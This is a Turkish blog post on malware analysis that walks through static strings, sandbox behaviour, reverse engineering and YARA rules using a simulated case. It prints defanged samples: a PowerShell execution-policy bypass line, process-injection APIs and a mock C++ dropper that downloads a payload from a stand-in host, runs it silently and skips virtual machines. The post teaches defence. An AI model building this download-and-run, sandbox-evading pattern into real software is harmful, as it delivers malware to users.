İçeriğe geç
Sedat Özdemir
Yazılar

defensive-security

Kutunun İçinde Ne Var? Malware Analizi ile Karanlığa Işık Tutmak

Eskiden bir dosyanın hash değerini VirusTotal'e atmak yeterliydi, ancak bugün saldırganlar çok daha kurnaz. Bir dosyanın içinde ne sakladığını onu gerçekten 'çalıştırmadan' nasıl anlarız?

Sedat Özdemir
· 3 dk okuma

Selamlar millet, ben Sedat. Kahveleriniz hazırsa bugün biraz 'tehlikeli' sularda yüzeceğiz ama can yeleklerimizi (sandboxlarımızı) yanımıza almayı unutmayacağız.

Eskiden siber güvenlik dünyasında her şey çok daha lineerdi. Bir dosya gelirdi, hash'ine (MD5/SHA256) bakardın, eğer veritabanında 'zararlı' olarak işaretlenmişse kapı dışarı ederdin. Bitti mi? Hayır. Artık kimse 8 karakterli basit parolalara güvenmiyor, peki ya 16 karakterli kompleks şifreler? Onlar bile artık tek başına yeterli değilse, sadece dosya ismine veya hash değerine bakarak bir dosyaya 'güvenli' demek ne kadar mantıklı?

Bugün, saldırganların (red team tarafındaki dostlarımızın veya gerçek tehdit aktörlerinin) güvenlik ürünlerini atlatmak için kullandığı polimorfik yapılar, obfuscation (kod karartma) teknikleri ve 'Living Off The Land' (sistem araçlarını kullanarak saldırı) yöntemleri, biz savunmacıları daha derinlere, yani Malware Analizi dünyasına itiyor. Gelin, testCompany bünyesinde karşılaştığımız bir vaka simülasyonu üzerinden bu canavarı masaya yatıralım.

1. Statik Analiz: Röntgen Çekmek

Bir dosyayı analiz ederken ilk kural şudur: Asla hemen çift tıklama. Statik analiz, dosyanın kodunu yürütmeden, onun yapısını, içindeki metinleri (strings) ve içe aktardığı kütüphaneleri inceleme sanatıdır. Bu, bir bombayı imha etmeden önce röntgen cihazıyla içine bakmaya benzer.

İlk bakmamız gereken yerlerden biri Strings yani metin dizileridir. Bir malware yazarı her ne kadar kodunu gizlese de, bazen IP adreslerini, dosya yollarını veya hata mesajlarını temizlemeyi unutur.

Örnek (Defanged - Zararsızlaştırılmış): Bir PE (Portable Executable) dosyasını incelediğimizde karşımıza şuna benzer çıktılar çıkabilir:

http[://]example[.]com/api/v1/collect
C:\Windows\System32\drivers\etc\hosts
cmd.exe /c powershell.exe -ExecutionPolicy Bypass -File ...
CreateRemoteThread
WriteProcessMemory

Burada CreateRemoteThread ve WriteProcessMemory gibi API fonksiyonlarını görüyorsak, içimizde bir şüphe uyanmalı. Bu arkadaş muhtemelen başka bir sürecin (process) içine kod enjekte etmeye çalışıyor.

2. Dinamik Analiz: Kontrollü Patlatma

Bazen statik analiz yeterli olmaz; çünkü kod 'packed' yani sıkıştırılmış veya şifrelenmiş olabilir. Bu durumda dosyayı izole edilmiş bir ortamda (Sandbox) çalıştırmamız gerekir. Ama dikkat! Modern malware'ler artık 'akıllı'. Eğer bir sanal makinede (VM) olduklarını anlarlarsa (örneğin işlemci çekirdek sayısı azsa veya ekran kartı sürücüleri standart VM sürücüleriyse), hiçbir zararlı aktivite göstermezler.

Bir malware'in ağ üzerindeki davranışını izlemek için Wireshark veya FakeNet-NG gibi araçlar kullanırız.

Mock Dinamik Analiz Senaryosu: Zararlı yazılım çalıştığı anda 127.0.0.1 (gerçekte hxxp[://]malicious-site[.]com) adresine bir 'beacon' (sinyal) gönderiyor mu? Kayıt defterinde (Registry) Run anahtarı altına kendisini ekliyor mu?

# Kayıt defteri kalıcılık kontrolü (Mock)
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run | Select-Object *

Eğer testCompany_Update.exe gibi bir dosya burada belirdiyse ve konumu temp klasörüyse, geçmiş olsun; nur topu gibi bir 'Persistence' (kalıcılık) mekanizmamız var demektir.

3. Kod Analizi ve Reverse Engineering: Matrisin İçine Girmek

İşin en 'geek' ve en zor kısmı burası. Ghidra veya IDA Pro gibi araçlarla dosyanın assembly koduna ineriz. Burada saldırganın mantığını çözeriz.

Örneğin, bir 'dropper'ın (zararlı yükleyici) nasıl çalıştığını anlamak için şu pseudo-koda bakalım:

// Mock C++ Malware Snippet (Defanged)
void DownloadAndExec() {
    const char* targetUrl = "hxxps[://]example[.]com/payload.bin";
    const char* savePath = "C:\\Users\\Public\\Documents\\update.exe";

    if (DownloadFile(targetUrl, savePath)) {
        // Dosyayı gizlice çalıştır
        SystemExecute(savePath, "/silent"); 
    }
}

int main() {
    // VM Check (Basit bir kontrol)
    if (IsVirtualMachine()) {
        return 0; // Eğer VM ise hiçbir şey yapma
    }
    DownloadAndExec();
    return 0;
}

Buradaki IsVirtualMachine() fonksiyonu, bizim gibi analizcileri atlatmak için kullanılan bir savunma mekanizmasıdır. Tersine mühendislik yaparken bu dallanmayı (branch) manuel olarak manipüle edip (Patching), kodun her halükarda çalışmasını sağlayarak asıl zararlı faaliyeti görebiliriz.

4. Savunma İçin Ne Yapmalı? (Hardening)

Analiz yaptık, öğrendik, peki testCompany'yi nasıl koruyacağız?

  • EDR/XDR Kullanımı: Sadece imza tabanlı değil, davranışsal analiz yapan sistemler kurun. Bir Word dosyasının cmd.exe başlatması normal bir durum değildir.
  • Network Segmentation: Eğer bir makine enfekte olursa, saldırganın ağ içinde yanal hareket (Lateral Movement) yapmasını engellemek için ağınızı bölümlere ayırın.
  • Yara Kuralları Yazın: Analiz sırasında elde ettiğiniz bulguları (metin dizileri, dosya yapıları) birer YARA kuralına dönüştürerek ağınızda tarama yapın.

Örnek Basit YARA Kuralı:

rule Suspicious_Strings_Example {
    strings:
        $a = "WriteProcessMemory"
        $b = "CreateRemoteThread"
        $c = "hxxps[://]example[.]com"
    condition:
        all of them
}

Kapanış Notu

Malware analizi bir kedi-fare oyunudur. Saldırganlar gizlenmek için yeni yollar bulurken, bizler de o gizemi çözmek için yeni teknikler geliştirmek zorundayız. Unutmayın, en iyi savunma saldırganın nasıl düşündüğünü bilmekten geçer.

Kendinize iyi bakın, loglarınıza sahip çıkın ve her zaman şüpheci kalın. Bir sonraki teknik derinlikte görüşmek üzere!

İlgili yazılar